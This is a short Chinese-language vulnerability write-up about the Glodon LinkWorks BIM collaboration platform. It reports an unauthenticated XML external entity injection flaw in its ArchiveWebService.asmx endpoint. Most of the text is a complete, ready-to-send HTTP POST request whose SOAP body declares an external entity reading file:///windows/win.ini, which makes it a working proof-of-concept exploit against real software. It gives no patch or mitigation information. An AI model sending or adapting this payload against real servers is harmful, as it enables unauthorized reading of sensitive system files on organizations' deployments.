广联达 LinkWorks（也称为 GlinkLink 或 GTP-LinkWorks）是广联达公司（Glodon）开发的一种BIM（建筑信息模型）协同平台。广联达是中国领先的数字建造技术提供商之一，专注于为建筑、工程和建筑设计行业提供数字化解决方案。广联达 LinkWorks /GB/LK/Document/ArchiveService/ArchiveWebService.asmx接口处存在XML实体注入漏洞，未经身份认证的攻击者可以利用此漏洞读取系统内部敏感文件，获取敏感信息，使系统处于极不安全的状态。
POST /portal/GB/LK/Document/ArchiveService/ArchiveWebService.asmx HTTP/1.1
Host:
Accept: */*
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 2861
Content-Type: text/xml; charset=utf-8
Referer: http://[REDACTED]
Soapaction: http://GB/LK/Document/ArchiveService/ArchiveWebService.asmx/PostArchiveInfo
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <PostArchiveInfo xmlns="http://GB/LK/Document/ArchiveService/ArchiveWebService.asmx"> <archiveInfo><!DOCTYPE Archive [
    <!ENTITY secret SYSTEM "file:///windows/win.ini">
]>

<Archive>  
    <ArchiveInfo>  
        <UploaderID>
############


&secret;


##############
</UploaderID>  
    </ArchiveInfo>  
    <Result>  
        <MainDoc>Document Content</MainDoc>  
    </Result>  
    <DocInfo>  
        <DocTypeID>1</DocTypeID>  
        <DocVersion>1.0</DocVersion>  
    </DocInfo>  
</Archive></archiveInfo> <folderIdList>string</folderIdList> <platId>string</platId> </PostArchiveInfo> </soap:Body> </soap:Envelope>
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